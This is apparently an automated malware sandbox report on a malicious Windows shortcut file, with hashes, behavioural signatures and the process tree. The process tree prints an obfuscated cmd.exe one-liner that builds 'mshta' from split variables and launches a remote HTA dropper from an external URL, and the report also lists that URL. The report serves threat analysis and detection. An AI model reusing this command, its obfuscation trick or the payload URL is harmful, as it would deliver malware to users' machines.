Analysis
- max time kernel
38s - max time network
40s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
03/08/2026, 16:48
Static task
static1
Behavioral task
behavioral1
Sample
DOC-EHLL01.lnk
Resource
win10v2004-20260513-en
4 signatures
40 seconds
Behavioral task
behavioral2
Sample
DOC-EHLL01.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
40 seconds
General
- Target DOC-EHLL01.lnk
- Size 1KB
- Sample260803-vbcf9acd38
- SHA256 c1ee419f942142f4e3ee5cbe7724f9c86ad84143d780db653b743d904fd5fe4f
- MD5 a2e9d6eea55de9ce4b453fe992b767dd
- SHA1 95a50c289adf768cec37b7132076e6b45058e1ed
- SHA512 4149bdb7b87903b8cdf393d3b29af18ec0cd38ef69a0f4dda675f3c1f7004091b4ea95f705c72f932bbcb2982c022cc85647d7103f3d4ecd7bf3023bb4ae6374
- TLSH T18D3197002FFC0624F3F38F7794BF672089BAB9568D20CA2E4081464C5062A15E17AF67
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
Signatures
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Control Panel\International\Geo\Nation cmd.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 2252 cmd.exe 4952 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 2252 wrote to memory of 4952 2252 cmd.exe 88 PID 4952 wrote to memory of 5036 4952 cmd.exe 89
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-EHLL01.lnk1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2252 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /v:on /c "set nUSfK=msh&&set sqU=ta&&start "" !nUSfK!!sqU! https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4952 -
C:\Windows\System32\mshta.exemshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB3⤵PID:5036
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